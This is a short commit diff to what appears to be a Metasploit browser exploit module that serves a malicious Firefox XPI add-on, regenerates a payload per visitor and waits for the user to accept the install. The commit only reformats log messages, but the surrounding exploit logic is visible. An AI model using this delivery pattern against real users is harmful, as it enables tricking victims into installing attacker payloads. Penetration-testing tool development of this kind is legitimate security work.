Change the output style to comply with egyp7's expectations.

unstable
sinn3r 2012-04-10 13:42:52 -05:00
parent 76c12fe7e6
commit 0e1fff2c4b
1 changed files with 5 additions and 5 deletions

View File

@ -88,13 +88,15 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def on_request_uri( cli, request ) def on_request_uri( cli, request )
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
if not request.uri.match(/\.xpi$/i) if not request.uri.match(/\.xpi$/i)
if not request.uri.match(/\/$/) if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '') send_redirect( cli, get_resource() + '/', '')
return return
end end
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) print_status("#{msg} Handling request..." )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return return
@ -102,7 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
p = regenerate_payload(cli) p = regenerate_payload(cli)
if not p if not p
print_error("Failed to generate the payload.") print_error("#{msg} Failed to generate the payload.")
# Send them a 404 so the browser doesn't hang waiting for data # Send them a 404 so the browser doesn't hang waiting for data
# that will never come. # that will never come.
send_not_found(cli) send_not_found(cli)
@ -207,9 +209,7 @@ function startup(data, reason) {
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script> <script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
</overlay>|) </overlay>|)
print_status( print_status("#{msg} Sending xpi and waiting for user to click 'accept'...")
"Sending xpi to #{cli.peerhost}. "+
"Waiting for user to click 'accept'...")
send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } ) send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
handler( cli ) handler( cli )
end end